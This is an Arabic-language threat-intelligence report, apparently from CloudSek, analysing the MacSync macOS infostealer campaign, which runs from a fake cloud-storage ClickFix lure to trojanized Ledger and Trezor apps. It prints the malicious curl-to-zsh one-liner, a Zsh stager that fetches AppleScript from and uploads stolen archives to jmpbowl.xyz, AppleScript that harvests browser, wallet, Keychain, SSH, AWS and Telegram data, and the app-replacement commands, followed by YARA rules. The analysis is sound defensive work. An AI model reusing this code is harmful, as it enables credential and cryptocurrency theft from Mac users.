🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي
اقرأ المزيد

كشف البحث الروتيني للتهديدات في مجال التصيد الاحتيالي الذي يحاكي صفحة تسجيل الدخول إلى Microsoft (crosoftonline.com/login.srf) عن سلسلة من عمليات إعادة التوجيه التي أدت إلى https://macclouddrive.com/s2/، وهو إغراء متطور على غرار Clickfix يتنكر في هيئة مثبّت شرعي للتخزين السحابي لنظام macOS. أجبرت الصفحة المستخدمين على نسخ ولصق أمر Terminal المخادع، مما أدى إلى إصابة أداة تثبيت معلومات نظام MacSync، وهي أداة منخفضة التكلفة للبرامج الضارة كخدمة (MaaS) مشتقة من الأداة السابقة سارق ماك.
يستخدم MacSync تصميمًا متعدد المراحل يركز على البرامج النصية: يقوم برنامج Zsh stager الخفي باسترداد وتنفيذ حمولة AppleScript عن بُعد التي تجمع بشكل منهجي بيانات اعتماد المتصفح وبيانات محفظة العملات المشفرة ومحتويات Keychain والملفات الحساسة بعد التصيد الاحتيالي لكلمة مرور نظام macOS للضحية من خلال مربعات حوار وهمية متكررة. ولزيادة طول العمر، فإنه يقوم بشكل مشروط بترميز تطبيقات العملات المشفرة القائمة على الإلكترون المستخدمة على نطاق واسع عن طريق الكتابة بشكل انتقائي فوق مكونات الحزمة الهامة (app.asar وInfo.plist)، مع الاستفادة من غياب التحقق من سلامة ASAR القسري وإعادة توقيع التعليمات البرمجية المخصصة.
ميزات البنية التحتية الداعمة ما لا يقل عن ثمانية نطاقات C2 دوارة باتباع نمط تسمية متسق، يرتبط كل منها برموز بناء فريدة. مسارات متعددة المتغيرات (/v1—/v3) على مجال الإغراء الأساسي، جنبًا إلى جنب مع ما لا يقل عن خمسة مواقع استنساخ وثيقة الصلة مشاركة قوالب شبه متطابقة، تشير إلى التطور النشط للحملة وإعادة استخدام البنية التحتية. يقدم هذا التقرير انعكاسًا متعمقًا لسلسلة العدوى الكاملة، بدءًا من تقديم الهندسة الاجتماعية وميكانيكا الحمولة إلى تروجانز القائمة على الإلكترون والتي تتيح كلاً من واجهات التصيد الاحتيالي طويلة المدى والمقنعة للغاية لعبارات الاسترداد وأرقام التعريف الشخصية - معالجة الفجوات في التغطية الحالية وتقديم مؤشرات قابلة للتنفيذ للتسوية جنبًا إلى جنب مع إرشادات الكشف والتخفيف.
أثناء إجراء بحث روتيني حول التهديدات في البنية التحتية للتصيد الاحتيالي، أدت محاولة الوصول إلى crosoftonline.com/login.srf - وهو نطاق مصمم بوضوح لانتحال شخصية صفحة مصادقة Microsoft - إلى سلسلة من عمليات إعادة توجيه HTTP التي وصلت في النهاية إلى https://macclouddrive.com/s2/. برزت صفحة الوجهة على الفور كمثال كتابي لإغراء الهندسة الاجتماعية بأسلوب Clickfix. تم تصميمه ليشبه بوابة تنزيل شرعية لتطبيق التخزين السحابي لنظام macOS، ويحتوي على تعليمات مفصلة تحث المستخدمين على فتح Terminal ولصق الأمر المقدم لإكمال التثبيت. أثار إدراج رسالة مطمئنة تحاكي رابط مثبت App Store الرسمي، جنبًا إلى جنب مع إرشادات خطوة بخطوة حول إطلاق Terminal، شكوكًا فورية.
أصبحت حملات ClickFix واحدة من أكثر آليات التسليم فعالية لتجار المعلومات المستهدفين بنظام macOS في السنوات الأخيرة. من خلال إقناع الضحايا بتنفيذ أوامر shell الخبيثة طواعية، يتخطى المهاجمون تمامًا برنامج Gatekeeper وفحوصات التوثيق والتحقق من التوقيع - وهي إجراءات حماية تجعل التوزيع التقليدي المستند إلى DMG أو PKG أكثر خطورة بكثير. اتبع هذا الإغراء الخاص النمط بدقة: سطر واحد يبدو حميدًا يقوم، عند الفحص الدقيق، بجلب وتنفيذ التعليمات البرمجية عن بُعد من مجال يتحكم فيه المهاجم.
أشار الأمر إلى البنية التحتية المرتبطة بـ MacSync، وهو عامل معلومات تمت ملاحظته لأول مرة كنسخة معدلة ومحسنة من سارق Mac.C السابق الذي تم تطويره تحت الاسم المستعار «mentalpositive». تم تسويق MacSync باعتباره عرضًا ميسور التكلفة للبرامج الضارة كخدمة في المنتديات السرية، وقد اكتسب زخمًا بين الشركات التابعة ذات المستوى الأدنى نظرًا لانخفاض سعره وتصميمه المعياري والتركيز الشديد على البيانات المتعلقة بالعملات المشفرة. على عكس المنافسين البارزين مثل Atomic Stealer (AMOS)، يركز MacSync على التنفيذ المستند إلى البرامج النصية مع الثبات الاختياري من خلال التشغيل التجريبي للتطبيقات المستهدفة، مما يجعله خفيًا بشكل خاص على أنظمة macOS.
يوثق هذا التقرير انعكاسًا فنيًا كاملاً لمتغير الحملة الملحوظ. تم إجراء التحليل من خلال إزالة التشويش اليدوي لحمولة التسليم، والاسترجاع الآمن وتشريح نواة AppleScript عن بُعد، والفحص المتحكم فيه لسلوك التسرب، والفحص التفصيلي لحزم تطبيقات الإلكترون الثلاثية. يتم إيلاء اهتمام خاص لآلية الثبات، وهي منطقة غالبًا ما يتم تجاهلها أو إساءة فهمها في التقارير العامة الحالية والتي تستغل نقاط ضعف محددة في أدوات العملة المشفرة القائمة على الإلكترون السائدة بين مستخدمي macOS. الهدف هو تزويد المدافعين بمرجع نهائي حول هذا التهديد، بما في ذلك المؤشرات القابلة للتنفيذ واستراتيجيات الكشف التي تتجاوز الملاحظات على مستوى السطح.
تتوقف عملية العدوى على الهندسة الاجتماعية التي تستغل ثقة المستخدم في عمليات سير عمل تثبيت macOS. يتم توجيه الضحايا إلى صفحة الإغراء https://macclouddrive.com/s2/ غالبًا من خلال سلاسل إعادة التوجيه من نطاقات التصيد الاحتيالي أو المخترقة. في هذه الحالة، بدأت السلسلة بـ crosoftonline.com/login.srf ، وهو موقع ينتحل صفحة مصادقة Microsoft.
تم تصميم الصفحة المقصودة بدقة لتظهر كبوابة تنزيل شرعية لأداة التخزين السحابي لنظام macOS. يستخدم واجهة مظلمة وحديثة مع عنوان «التنزيل لنظام macOS» البارز وشارة «الناشر الذي تم التحقق منه» لبناء المصداقية. يستهدف قسم «التثبيت الطرفي» المخصص «المستخدمين المتقدمين»، ويقدم أمرًا واحدًا كبديل مناسب للتنزيلات التقليدية.

توفر الصفحة تعليمات صريحة: افتح Spotlight، وقم بتشغيل Terminal، والصق الأمر، وأدخل كلمة مرور الجهاز عندما يُطلب منك ذلك. يضمن زر «النسخ» الأخضر وضع الحمولة على الفور في الحافظة. يكشف عرض الكود المصدري عن العديد من تعليقات HTML باللغة الروسية، مما يوفر أدلة ظرفية حول خلفية المطور.

كشف تعداد الدليل على المجال عن مسارات متوازية (/v1/، /v2/، /v3/) تستضيف صفحات متطابقة تقريبًا، تختلف بشكل أساسي في النطاق الخلفي والرمز المستخدم - دليل على اختبار الحملة المستمر والتناوب.
الأمر المقدم للضحية هو:
echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2ptcGJvd2wueHl6L2N1cmwvODlhMjI5ZjlhNzNjZmZjNjcwODlmMzg4YzZjMTJmM2Y5ZDgwZTdhZTJjMzI3NDVjZDUyMTI0MjFhODljM2U1MA=='|base64 -D)|zshتعمل هذه الخطوط الواحدة على النحو التالي:
تم استرداد الحمولة من http://jmpbowl[.]xyz/curl/89a229f9a73cffc67089f388c6c12f3f9d80e7ae2c32745cd5212421a89c3e50 (أو الرموز المميزة المماثلة في المتغيرات الأخرى) ليست أداة جمع المعلومات النهائية نفسها، ولكنها أداة تحميل مدمجة وغامضة للمرحلة الثانية مكتوبة بلغة Zsh. الغرض الوحيد من هذا البرنامج النصي هو جلب البيانات وتنفيذها واستخراجها من الحمولة الأساسية الحقيقية، وهي AppleScript عن بُعد مع الحفاظ على خفة الوزن والخفية قدر الإمكان.
الملف الذي تم تنزيله عبارة عن برنامج نصي Zsh قصير يستخدم طريقة تشويش بسيطة ولكنها فعالة:

بعد فك الضغط، يتم الكشف عن البرنامج النصي النظيف كدالة واحدة جيدة التنظيم باستخدام daemonization ومنطق اتصال C2. يحدد البرنامج النصي المبهم وظيفة تسمى daemon_function () ويقوم بتشغيلها على الفور في الخلفية:
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="jmpbowl.xyz"
local token="70c0ee60591fed92b387ddd77122f3f5e88ae946efdd5eef8aa654cf156ed321"
local api_key="5190ef1733183a0dc63fb623357f56d6"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
if [ $? -ne 0 ]; then
exit 1
fi
rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
exit 0
else
exit 1
fiالسلوكيات الرئيسية:
يعد هذا الجهاز بسيطًا بشكل متعمد - وظيفته الوحيدة هي العمل كجسر شيطاني يمكن الاعتماد عليه بين التسوية الأولية ونواة AppleScript عن بُعد والقابلة للتحديث. من خلال الحفاظ على العبء الثقيل على جانب الخادم، يمكن للجهات الفاعلة تعديل أهداف السرقة أو مطالبات التصيد الاحتيالي أو منطق المثابرة بسرعة دون تغيير ناقل التسليم. يسمح استخدام رمز فريد لكل بناء أيضًا بتتبع الضحايا بدقة وتخصيص الحمولة.
يتم تنفيذ آليات سرقة البيانات الفعلية والتصيد الاحتيالي لكلمة المرور والمثابرة بالكامل في AppleScript الذي تم جلبه من /dynamic
محرك سرقة البيانات الحقيقي لـ MacSync هو حمولة AppleScript التي تم جلبها من http://jmpbowl.xyz/dynamic?txd = <token> ويتم تنفيذه في الذاكرة بواسطة برنامج Zsh stager باستخدام osascript. يتم تسليم هذه الحمولة كنص عادي غير مضغوط AppleScript وهي معيارية للغاية، وتعتمد على سلسلة من المعالجات المخصصة لإجراء عمليات الملفات واجتياز الدليل وجمع البيانات.
يقوم البرنامج النصي على الفور بإنشاء دليل مرحلي مؤقت في /tmp/تسجيل الدخول ويكتب بيانات التعريف الذاتي لمساعدة المهاجم على تتبع البنيات والضحايا.

تؤكد هذه الأسطر اسم السارق وإصداره وتوافق البنية، مما يجعل الإسناد واضحًا أثناء التحليل الجنائي.
تتمثل الأولوية الأولى للحمولة في الحصول على كلمة مرور تسجيل الدخول إلى macOS للضحية - المفتاح المطلوب لفك تشفير المتصفح وبيانات Keychain دون اتصال بالإنترنت.

هذا التصيد المستمر فعال للغاية لأن العديد من المستخدمين سوف يمتثلون في النهاية لرفض مربع حوار الحظر.
يحدد البرنامج النصي العديد من وظائف الأداة المساعدة للتعامل مع عمليات الملفات والدليل بأمان:

بمجرد أن يتم التصيد الاحتيالي لكلمة مرور النظام وتخزينها بنجاح، تنتقل حمولة AppleScript إلى هدفها الأساسي: استخراج البيانات المتعلقة بالعملات المشفرة والغنية ببيانات الاعتماد بشكل منهجي من جهاز الضحية. يتم استهداف السرقة بشكل كبير، مع إعطاء الأولوية للمواقع المعروفة باحتوائها على بذور المحفظة والمفاتيح الخاصة وكلمات المرور المخزنة في المتصفح وغيرها من الأسرار عالية القيمة.
يستخدم البرنامج النصي معالجين رئيسيين للنسخ المتكرر:
تستهدف الحمولة بشكل صريح نطاقًا واسعًا من المتصفحات المشتقة من Chromium من خلال تعداد أدلة الدعم القياسية الخاصة بها ضمن ~/Library/Application Support/.
set homePath to (POSIX path of (path to home folder))
set lootPath to "/tmp/osalogging"
-- Google Chrome
set chromePath to homePath & "Library/Application Support/Google/Chrome"
if isDirectory(chromePath) then GrabFolder(chromePath, lootPath & "/Browsers/Chrome")
-- Brave
set bravePath to homePath & "Library/Application Support/BraveSoftware/Brave-Browser"
if isDirectory(bravePath) then GrabFolder(bravePath, lootPath & "/Browsers/Brave")
-- Microsoft Edge
set edgePath to homePath & "Library/Application Support/Microsoft Edge"
if isDirectory(edgePath) then GrabFolder(edgePath, lootPath & "/Browsers/Edge")
-- Opera
set operaPath to homePath & "Library/Application Support/com.operasoftware.Opera"
if isDirectory(operaPath) then GrabFolder(operaPath, lootPath & "/Browsers/Opera")
-- Vivaldi
set vivaldiPath to homePath & "Library/Application Support/Vivaldi"
if isDirectory(vivaldiPath) then GrabFolder(vivaldiPath, lootPath & "/Browsers/Vivaldi")
-- Arc
set arcPath to homePath & "Library/Application Support/Arc"
if isDirectory(arcPath) then GrabFolder(arcPath, lootPath & "/Browsers/Arc")
-- Yandex
set yandexPath to homePath & "Library/Application Support/Yandex/YandexBrowser"
if isDirectory(yandexPath) then GrabFolder(yandexPath, lootPath & "/Browsers/Yandex")
-- Additional browsers follow the same patternتستخدم كل مكالمة GrabFolder () لنسخ ملف التعريف بالكامل بشكل متكرر، بما في ذلك:
يتم تشفير هذه الملفات باستخدام المفتاح الرئيسي المخزن في Keychain، والذي يمكن للمهاجمين فك تشفيره دون اتصال بالإنترنت باستخدام كلمة مرور النظام المخادعة.
تحتوي الحمولة على قائمة شاملة مشفرة من معرفات ملحقات محفظة web3 الشائعة. وهي تستهدف على وجه التحديد أدلة التخزين المحلية الخاصة بها عبر ملفات تعريف المتصفح المتعددة، حيث تحتوي غالبًا على عبارات أولية أو مفاتيح خاصة أو بيانات محفظة مشفرة.
set extensionList to {
"nkbihfbeogaeaoehlefnkodbefgpgknn", -- MetaMask
"bfnaelmomeimhlpmgjnjophhpkkoljpa", -- Phantom
"fhbohimaelbohpjbbldcngcnapndodjp", -- Binance Wallet
"hpglfhgfnhgaekcpchabkighjkkpcoel", -- Coinbase Wallet
"jbdaocneiiinmjbjlgalhcelgbejmnid", -- Nifty Wallet
"nlbmnnijcnlegkjjpcfjclmcfggfefdm", -- Math Wallet
"fnjhmkhhmkbjkkabndcnnogagogbneec", -- Ronin Wallet
"acmacodkjbdgmoleebolmdjonilkdbch", -- Petra Aptos Wallet
"ejjladinnckdgjemekebdpeokbikhfci", -- Martify
"odbfpeeihdkbihmopkbjmoonncgnfmki", -- Yoroi
"ffnbelpacgohhkmgcbabjjdlimohknok", -- Solflare
"cjelfplplebdjjenllpjcblmjkfcffne", -- Keplr
"dmkamcknogkgcdfhhbddcghigpehhfne", -- Trust Wallet
"egjidj
bpglichdcondbcbdnbeeppgdph", -- TezBox
"aegclgcmcpnpjbjgcadkecobipieijca", -- Terra Station
"aiifbnbfobpmeekipheeijimdpnlpgpp", -- Tezos Wallet
"oogfpfmjhkaemefggfgjfeoaeccefhjm", -- BitKeep
"kncchdigobghenbbaddojjnnaogfppfj", -- iWallet
"aeachknmefphepccionboohookonhcek", -- Coin98
"pdadjkfkgcafgbceimcefhgfgnjbpmn", -- OKX Wallet
"mfgccjchihfkkindfppnaooecgfneiii", -- Exodus Web3 Wallet
"aholpfdialjgjfhomihkjbmgjidlcdno", -- TronLink
"ibnejdfjmmkpcnlpebklmnkoeoihofec", -- Tonkeeper
"nphplpgoakhhjchkkhmiggakijnkhfnd", -- XDEFI Wallet
"acmhbjkofeedfklnjcegkkepfmidnldk", -- Braavos
"jnlgamecbpmbajjfhmmmlhejkemejdap", -- Enkrypt
-- Additional IDs for less common wallets
}حلقة الاستخراج:
repeat with extID in extensionList
set extPaths to {
chromePath & "/Default/Local Extension Settings/" & extID,
chromePath & "/Profile 1/Local Extension Settings/" & extID, -- Multi-profile support
bravePath & "/Default/Local Extension Settings/" & extID,
-- Repeated for other browsers
}
repeat with extPath in extPaths
if isDirectory(extPath) then
GrabFolder(extPath, lootPath & "/Extensions/" & extID)
end if
end repeat
end repeat
<SNIP>
تقوم العديد من ملحقات المحفظة بتخزين البيانات الحساسة (بما في ذلك العبارات الأولية المشفرة) في IndexedDB أو LevelDB ضمن هذه المسارات. إلى جانب كلمة المرور المخادع، يمكن للمهاجمين في كثير من الأحيان استعادة المحافظ الكاملة.
تقوم الحمولة بإجراء نسخ متكررة كاملة من أدلة محفظة سطح المكتب المعروفة:
-- Exodus
set exodusPath to homePath & "Library/Application Support/Exodus"
if isDirectory(exodusPath) then GrabFolder(exodusPath, lootPath & "/Wallets/Exodus")
-- Electrum
set electrumPath to homePath & "Library/Application Support/Electrum"
if isDirectory(electrumPath) then GrabFolder(electrumPath, lootPath & "/Wallets/Electrum")
-- Atomic Wallet
set atomicPath to homePath & "Library/Application Support/atomic"
if isDirectory(atomicPath) then GrabFolder(atomicPath, lootPath & "/Wallets/Atomic")
-- Guarda
set guardaPath to homePath & "Library/Application Support/Guarda"
if isDirectory(guardaPath) then GrabFolder(guardaPath, lootPath & "/Wallets/Guarda")
-- Wasabi
set wasabiPath to homePath & "Library/Application Support/Wasabi"
if isDirectory(wasabiPath) then GrabFolder(wasabiPath, lootPath & "/Wallets/Wasabi")
-- Bitcoin Core
set bitcoinPath to homePath & ".bitcoin"
if isDirectory(bitcoinPath) then GrabFolder(bitcoinPath, lootPath & "/Wallets/BitcoinCore")
-- Binance
set binancePath to homePath & "Library/Application Support/Binance"
if isDirectory(binancePath) then GrabFolder(binancePath, lootPath & "/Wallets/Binance")
<snip>
-- TON Keeper
set tonPath to homePath & "Library/Application Support/TON"
if isDirectory(tonPath) then GrabFolder(tonPath, lootPath & "/Wallets/TONKeeper")
تحتوي هذه الأدلة عادةً على ملفات wallet.dat أو النسخ الاحتياطية الأولية أو ملفات تخزين المفاتيح المشفرة - غالبًا ما تكون الأهداف الأكثر قيمة لسرقة العملة المشفرة.
يوضح هذا المستوى من الاستهداف تركيز MacSync الواضح على مستخدمي العملات المشفرة، مما يجعله خطيرًا بشكل خاص على مجتمع تشفير macOS
يقوم البرنامج النصي بنسخ دليل Keychain بالكامل مباشرةً:
do shell script "cp -r " & quoted form of (homePath & "/Library/Keychains/") & space & quoted form of (lootPath & "/Keychain/")يلتقط هذا جميع الملفات المطابقة لـ ~/Library/keychains/*.keychain-DB، بما في ذلك تسجيل الدخول الأساسي.keychain-db. تقوم قواعد بيانات SQLite هذه بتخزين كلمات المرور لشبكات Wi-Fi والتطبيقات ومواقع الويب والشهادات والملاحظات الآمنة. باستخدام كلمة مرور النظام المخادعة، يمكن للمهاجمين فتح واستخراج كل شيء دون اتصال بالإنترنت باستخدام أدوات مثل chainbreaker أو البرامج النصية المخصصة.
ملفات التطوير والتكوين السحابي
-- SSH keys and config
set sshPath to homePath & ".ssh"
if isDirectory(sshPath) then GrabFolder(sshPath, lootPath & "/SSH")
-- AWS credentials
set awsPath to homePath & ".aws"
if isDirectory(awsPath) then GrabFolder(awsPath, lootPath & "/AWS")
-- Kubernetes config
set kubePath to homePath & ".kube"
if isDirectory(kubePath) then GrabFolder(kubePath, lootPath & "/Kubernetes")
<snip>
غالبًا ما تحتوي هذه الأدلة على مفاتيح SSH خاصة (id_rsa و id_ed25519) ومفاتيح وصول AWS (بيانات الاعتماد والتكوين) وتكوينات مجموعة Kubernetes (التكوين). تتيح هذه الملفات الحركة الجانبية أو اختراق الموارد السحابية.
بيانات جلسة تيليجرام
et telegramPath to homePath & "Library/Application Support/Telegram"
if isDirectory(telegramPath) then GrabFolder(telegramPath & "/tdata", lootPath & "/Telegram/tdata")يخزن مجلد tdata في Telegram ملفات الجلسة النشطة، مما يسمح للمهاجمين باستيراد الجلسة على أجهزتهم الخاصة وانتحال شخصية الضحية دون إعادة المصادقة.
قاعدة بيانات أبل نوتس
set notesPath to homePath & "Library/Group Containers/group.com.apple.notes"
if isDirectory(notesPath) then GrabFolder(notesPath, lootPath & "/AppleNotes")غالبًا ما تحتوي قاعدة بيانات تطبيق Notes على معلومات حساسة مثل عبارات الاسترداد أو كلمات المرور أو التفاصيل المالية الشخصية المخزنة كملاحظات نصية عادية.
GrabFolderLimit(homePath & "Desktop", lootPath & "/Files/Desktop")
GrabFolderLimit(homePath & "Documents", lootPath & "/Files/Documents")
GrabFolderLimit(homePath & "Downloads", lootPath & "/Files/Downloads")بينما تستخدم الشفرة المقدمة GrabFolderLimit بدون تصفية صريحة في المقتطف المرئي، فإن التصميم العام (جنبًا إلى جنب مع قوائم الاستثناءات وتحديد الحجم) يعطي الأولوية للملفات التي من المحتمل أن تحتوي على:
يضمن الحد الأقصى البالغ 100 ميجابايت أن يظل الأرشيف قابلاً للتحميل مع الاستمرار في التقاط الاكتشافات الانتهازية عالية القيمة. وتعكس استراتيجية التجميع الشاملة هذه تركيز MacSync على تعظيم العائد من مستخدمي العملات المشفرة، حيث يمكن أن يؤدي حتى ملف عبارة أولية أو مفتاح خاص يتم تجاهله إلى خسارة مالية كبيرة.
يرفع MacSync حالات العدوى المحددة من سرقة البيانات لمرة واحدة إلى المدى الطويل، الاحتيال الاحتيالي عالي العائد على العملات المشفرة عن طريق تروجين مشروطين لتطبيقين مرافقين لمحفظة الأجهزة الشائعة القائمة على الإلكترون. يتم تنشيط هذه الآلية فقط عندما يتم اكتشاف التطبيقات الشرعية في /Applications/، مما يضمن أنها تظل صامتة على الأنظمة غير المستهدفة أثناء تحويل البرامج الموثوقة إلى منصات هجوم مستمرة على الأجهزة التابعة لمستخدمي العملة المشفرة.
يتم تنفيذ أحصنة طروادة بالكامل بواسطة حمولة AppleScript بعد جمع البيانات الأولية، باستخدام أوامر shell المباشرة لتنزيل الحزم الضارة، ومعالجة أدلة التطبيق، وتطبيق الحد الأدنى من التغييرات في توقيع التعليمات البرمجية.
يبدأ البرنامج النصي بفحوصات بسيطة للوجود:
-- Ledger Wallet.app
try
do shell script "test -d /Applications/Ledger Wallet.app"
set ledger_installed to true
on error
set ledger_installed to false
end try
-- Trezor Suite.app
try
do shell script "test -d /Applications/Trezor Suite.app"
set trezor_installed to true
on error
set trezor_installed to false
end tryيستهدف هذا المنطق الشرطي الأنظمة التي تحتوي على برامج محفظة الأجهزة المثبتة فقط، مما يزيد من التأثير مع تقليل مخاطر الاكتشاف على الأجهزة غير ذات الصلة. عندما يكون تطبيق Ledger موجودًا، تستخدم الحمولة تقنية استبدال جزئية معقدة للحفاظ على التخفي والوظائف:
if ledger_installed then
try
-- Download malicious ZIP containing only modified files
do shell script "curl -k ... 'https://jmpbowl.xyz/ledger/<token>' -o /tmp/<token>.zip"
do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"
-- Backup legitimate app
do shell script "cp -rf /Applications/Ledger Wallet.app /tmp/Ledger Wallet.app.backup"
do shell script "rm -rf /Applications/Ledger Wallet.app"
do shell script "mv /tmp/Ledger Wallet.app.backup /Applications/Ledger Wallet.app"
-- Overwrite only critical malicious components
do shell script "mv /tmp/app.asar /Applications/Ledger Wallet.app/Contents/Resources/app.asar"
do shell script "mv /tmp/Info.plist /Applications/Ledger Wallet.app/Contents/Info.plist"
-- Apply ad-hoc signing to bypass basic checks
do shell script "codesign -f -d -s - /Applications/Ledger Wallet.app"
end try
end ifيتمثل نهج Trezor Suite في استبدال الحزمة بشكل مباشر وكامل:
if trezor_installed then
try
-- Terminate running processes
do shell script "killall -9 'Trezor Suite'"
-- Download full malicious application bundle
do shell script "curl -k ... 'https://jmpbowl.xyz/trezor/<token>' -o /tmp/<token>.zip"
do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"
-- Replace legitimate app entirely
do shell script "rm -rf /Applications/Trezor Suite.app"
do shell script "cp -R /tmp/Trezor Suite.app /Applications/"
-- Cleanup
do shell script "rm -rf /tmp/<token>.zip /tmp/Trezor Suite.app"
end try
end ifيتم إنهاء أي مثيلات قيد التشغيل بقوة. يتم حذف التطبيق الشرعي واستبداله بحزمة ضارة كاملة تم تنزيلها من C2. لا حاجة لرقصة النسخ الاحتياطي/الاستعادة نظرًا لأن التطبيق بأكمله يتحكم فيه المهاجم.
الهدف الأساسي لكلا التطبيقين المجانين هو تقديم معالج تصيد مقنع متعدد الخطوات يلتقط أرقام التعريف الشخصية للجهاز وعبارات الاسترداد الكاملة تحت ستار «إصلاح» مشكلة البرامج أو البرامج الثابتة.
يتكون التدفق من ثلاث صفحات رئيسية تحاكي بإحكام واجهة المستخدم الرسمية:
الخطوة 1: مقدمة الخطأ (recovery-step-1.html)

تحتوي هذه الشاشة على عنوان مهدئ مكتوب عليه «حدث خطأ ما...» متبوعًا بنص مطمئن: «لكن لا تقلق! أصول التشفير الخاصة بك آمنة ويمكن الوصول إليها. ربما حدث خطأ أثناء تحديث البرنامج أو ترقية البرنامج الثابت. يمكننا إصلاح هذا بسهولة في بضع خطوات بسيطة. دعونا نبدأ!» يعزز الرسم التوضيحي لجهاز يحتوي على سهم دائري فكرة وجود خلل مؤقت. عبارة بارزة تقول «حسنًا، أنا جاهز!» يعمل الزر على دفع المستخدم إلى المرحلة التالية، مما يقلل الدفاعات من خلال التأكيد على السلامة والبساطة.
الخطوة 2 - إدخال رقم التعريف الشخصي (recovery-step-2.html)

يشير شريط التقدم إلى هذا كخطوة «2 PIN». تقدم الواجهة شبكة أرقام تفاعلية حيث يختار المستخدمون الأرقام «لإدخالها» و «تأكيد» رقم التعريف الشخصي الخاص بهم، مع استكمال التعليمات: «اضغط على الزر الأيسر أو الأيمن لتغيير الأرقام. يظهر نموذج مرئي للجهاز مع الأزرار المميزة جنبًا إلى جنب، مما يكرر عن كثب تجربة الأجهزة الحقيقية. بمجرد التأكيد، ينتقل زر «الخطوة التالية» إلى الأمام.
الخطوة 3 - إدخال عبارة الاسترداد (recovery-step-3.html)
تم وضع علامة «3 RECOVERY PRASE» في شريط التقدم، وتعرض هذه الشاشة مطالبة واضحة: «أدخل عبارة الاسترداد الخاصة بك». يوضح النص الداعم: «عبارة الاسترداد الخاصة بك هي القائمة السرية للكلمات التي قمت بنسخها احتياطيًا عند إعداد جهاز Ledger لأول مرة. لا يحتفظ Ledger بنسخة من عبارة الاسترداد الخاصة بك.» يتم ترتيب أربعة وعشرين حقل إدخال مرقمًا في شبكة، مما يسمح بإدخال كلمة بكلمة. يقوم زر «الاسترداد» بإرسال النموذج بمجرد اكتماله.
يؤدي دعم JavaScript في الحزمة إلى التقاط جميع المدخلات من هذه الصفحات وإخراجها - إما من خلال قنوات IPC المخصصة إلى عملية Electron الرئيسية أو طلبات الشبكة المباشرة إلى البنية التحتية للمهاجم. وتشمل التعديلات الإضافية التي لوحظت في الحزم المستخرجة إعلانات مزود EIP-6963 المحقونة لاختطاف التطبيقات اللامركزية وعمال التشفير القادرين على تعديل المفاتيح أو التلاعب بالتوقيع.

من خلال دمج معالج التصيد الاحتيالي هذا في التطبيقات التي يثق بها المستخدمون بالفعل لإدارة محافظ الأجهزة، يقوم MacSync بإنشاء آلية استمرار خادعة بشكل استثنائي. يمكن للضحايا إدخال بيانات اعتمادهم بعد أسابيع أو أشهر من الإصابة الأولية، معتقدين أنهم ببساطة يحلون مشكلة مشروعة مع برنامج المحفظة الخاص بهم. بمجرد التقاط عبارة الاسترداد، يصبح الأمان المادي للجهاز غير ذي صلة.
يثبت MacSync أنه على macOS، فإن البرامج الضارة الأكثر خطورة ليست تلك التي تستغل يوم الصفر، بل هي التي تستغل الثقة. يؤدي أمر Terminal الذي تم لصقه مرة واحدة إلى تحويل مستخدم التشفير الحذر إلى ضحية، وتسليم كلمات المرور والمحافظ، وفي النهاية عبارة الاسترداد الخاصة به من خلال التطبيقات التي يعتمدون عليها بالفعل يوميًا.
من خلال إساءة استخدام نقاط الضعف في Electron والتروجانيات المشروطة، يحقق MacSync الثبات الخفي والمدمر على حد سواء. تُظهر البنية التحتية الدوارة لـ jmpbowl.* ومواقع إغراء الاستنساخ أن هذا ليس لمرة واحدة - إنها عملية مستمرة وصديقة للشركات التابعة تم تصميمها على نطاق واسع.
في النهاية، يظل أفضل دفاع بسيطًا ولكنه صعب: لا تقم أبدًا بلصق الأوامر العشوائية في Terminal، بغض النظر عن مدى «شكلها الرسمي». لأنه بمجرد القيام بذلك، لن تقوم بإصلاح جهاز Mac الخاص بك.. أنت من نظام MacSync.

ترتبط المؤشرات الفنية التالية بهذه الحملة ويمكن استخدامها للكشف والحظر.
القاعدة 1: اكتشاف الحمولة الصافية لـ MacSync AppleScript
rule MacSync_AppleScript_Stealer
{
meta:
description = "Detects MacSync infostealer AppleScript payload"
author = "WaterBucket"
date = "2025-12-16"
reference = "MacSync Technical Analysis"
strings:
$s1 = "MacSync Stealer" ascii
$s2 = "osalogging.zip" ascii
$s3 = "Enter your system password to continue verification" ascii
$s4 = "GrabFolderLimit" ascii
$s5 = "jmpbowl.xyz" ascii
$ext1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii // MetaMask extension ID
$ext2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii // Phantom
condition:
4 of ($s*) or all of ($ext*)
}القاعدة 2: محفظة دفتر الأستاذ الثلاثية. ملفات التطبيق
rule MacSync_Trojanized_Ledger
{
meta:
description = "Detects known malicious files from trojanized Ledger Wallet.app"
author = "Waterbucket"
date = "2025-12-16"
condition:
hash.sha256(0, filesize) == "ec6bc84be18ce4cb55fb915370c00f2a836ffefc65c6b728efb8d2d28036e376" or // app.asar
hash.sha256(0, filesize) == "c99dea85f0ef8d3e2f3771c8ebd02d7dee0d90efc5c8392e5c266a59640a4206" // Info.plist
}https://moonlock.com/macc-stealer-macsync
